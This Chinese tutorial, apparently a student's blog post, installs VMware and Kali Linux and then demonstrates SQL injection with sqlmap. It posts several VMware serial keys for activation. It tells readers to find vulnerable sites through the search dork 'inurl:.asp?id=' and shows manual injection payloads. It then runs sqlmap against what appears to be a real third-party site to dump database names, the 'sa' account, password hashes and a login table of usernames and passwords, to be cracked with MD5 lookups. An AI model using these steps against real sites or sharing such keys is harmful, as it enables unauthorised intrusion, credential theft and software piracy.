Sqlmap是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。通过人为猜解,知道登录表位usr。
1.首先需要下载VMware虚拟机,并对其进行安装。下载地址:https://www.vmware.com/cn.html
2.选择合适的版本进行下载,作者这里安装的版本为“VMware-workstation-full-12.5.2-4638234.ext”,并且上传至百度云分享给大家。
3.双击EXE文件,开始进行安装。
4.安装完成之后输入序列号激活。
5A02H-AU243-TZJ49-GTC7K-3C61N VF5XA-FNDDJ-085GZ-4NXZ9-N20E6UC5MR-8NE16-H81WY-R7QGV-QG2D8ZG1WH-ATY96-H80QP-X7PEX-Y30V4AA3E0-0VDE1-0893Z-KGZ59-QGAVF
5.运行VMware软件如下图所示,接下来需要进行第二部分的Kali配置。
二.创建虚拟机并载入Kali Linux1.去Kali官网Downloads页面下载64位Kali Linux的torrent文件,再通过迅雷下载。下载地址:https://www.kali.org/downloads/,作者百度云网盘已上传。
2.下载成功后,新建虚拟机,选择“自定义”设置。
3.导入下载好的Kali Linux镜像文件,选择操作系统为Linux。
4.输入虚拟机的名称和安装位置。
5.设置内存分配大小,建议不要超过提示的最大内存推荐。
6.接着点击下一步,包括。
7.选择磁盘容量大小,建议比分配容量大些,并设为。
8.创建完成之后,如下图所示。
三.安装Kali Linux1.开启虚拟机,进入安装界面,如下图所示,点击“开启此虚拟机”。
2.选择安装方式为“Graphical install”。
3.选择语言“中文简体”和地区“中国”,点击“继续”按钮安装。
4.自定义主机名,默认为“kali”,域名直接跳过即可。
5.设置用户密码,这是类似于Windows的开机密码,接着安装。
6.设置磁盘分区。
7.接着接续安装。
8.在询问是否要选择网络镜像时,如果你的网络很好可以选择是,这里我选择否。
下面这个GRUB安装至硬盘要选择“是”!
9.安装成功之后,等待系统重启即安装完成。
10.最终界面如下图所示。
Kali其他设置包括分辨率、中文输入、全屏显示等,请同学们自行百度学习。
四.Kali功能介绍1.信息收集
2.漏洞分析
3.Web程序
4.数据库评估软件
5.密码攻击
6.无线攻击
7.逆向工程
8.漏洞利用工具集
9.嗅探/欺骗
10.权限维护
11.数字取证
12.报告工具集
13.Social Engineering Tools
打开某个软件,如下图所示。
五.SQLmap基本用法下面作者结合Sqlmap简单讲述一个Kali环境中的实战案例。
Web漏洞包括网站本身漏洞、软件漏洞、服务器漏洞、外部攻击等,其拿站的基本方法包括通用型、SQL注入、DDoS、XXS跨站、越权漏洞、旁站注入、CSRF跨站请求、上传漏洞、支付漏洞等。
Sqlmap 是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。
Sqlmap的基本流程如下:
找注入点并检测:sqlmap –u “链接”
列库显示数据库:sqlmap –u “链接” --dbs
列表显示表:sqlmap –u “链接” –D 数据库 --tables
列字段显示表中字段: sqlmap –u “链接” –D 数据库 –T 表名 --columns
爆内容显示字段内容:sqlmap –u “链接” –D 数据库 –T 表名 –C 字段 --dump
作者本来想以“实验吧”的CTF题目作为测试地址(http://ctf5.shiyanbar.com/8/index.php?id=1),但最近它维修中,无法访问;但使用“inurl:.asp?id=”未能搜索到目标网站。希望读者后续尝试“实验吧”的那个例子,或者自行搭建本地网站环境进行SQL注入学习。
第一步:寻找目标网站,通过浏览器“inurl:.asp?id=”搜索,寻找存在SQL注入漏洞的目标,可以先尝试手工注入判断。
判断注入点的方法很多,比如show.asp?code=115’ 加单引号,show.asp?code=115-1 减1,这里介绍一个经典的方法。
(1) http://xxxxx/show.asp?code=115’ and 1=1 – (正常显示)
对应的SQL语句:
select … from table where code=‘115’ and 1=1 – and xxxx;
单引号(’)匹配code='115,然后and连接,1=1恒成立,注释(–)掉后面语句。
(2) http://xxxxx/show.asp?code=115’ and 1=2 – (错误显示)
对应的SQL语句:
select … from table where code=‘115’ and 1=2 – and xxxx;
单引号(’)匹配code='115,然后and连接,1=2恒错误,注释(–)掉后面语句。
但很多网站都会有防火墙,防止SQL注入,如下图所示。
第二步:打开Kali环境中的Sqlmap环境,如下图所示。(后续采用之前的文章进行讲解,也希望读者自己尝试下)
第三步:获取所有数据库。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs
运行结果如下图所示,获取9个数据库,其中–dbs参数表示databases。
第四步:获取当前数据库。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db
运行结果如下图所示,获取9个数据库。其中–current-db参数表示当前数据库,相当于前文MSSQL的db_name()获取数据库字段。输出结果:akykd_new。
第五步:获取数据库当前用户。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user
运行结果如下图所示,获取当前数据库用户sa。
第六步:获取数据库所有用户和密码。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords
运行结果如下图所示,获取数据库用户和密码。
第七步:获取数据库所有表。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables
运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,–tables表示所有表。通过人为猜解,知道登录表位usr。
第八步:获取数据库登录表所有字段。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns
运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,–columns表示usr表所有列。
是不是感觉到了SQLMAP的强大,其中用户名usr_name、密码passwd。
第九步:获取数据库登录表用户名和密码。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump
获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),–dump输出所有值。
如果字段内容太多,可以设置输出个数,如10个用户名和密码。参数:-D ahykd_new -T usr -C “usr_name,passwd” --start 1 --stop 10 --dump
正常的输出结果例如下图所示,再通过md5解密即可。
六.总结
又忙了16个小时,发现自己网络安全方向的基础非常薄弱,有太多实践知识想学,太多学术论文想看,每天都在忙碌,过程非常艰辛,博士哪有这么好毕业。但是这种苦中带甜,充实的滋味又让我陶醉,还有远方的女神、许多朋友和博友的陪伴。希望未来在网络态势感知、恶意代码检测、嫌疑识别和知识图谱方面能再深入点,多读文献,多找创新,加油。
天行健,君子以自强不息。
地势坤,君子以厚德载物。
最后希望基础性文章对您有所帮助,作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。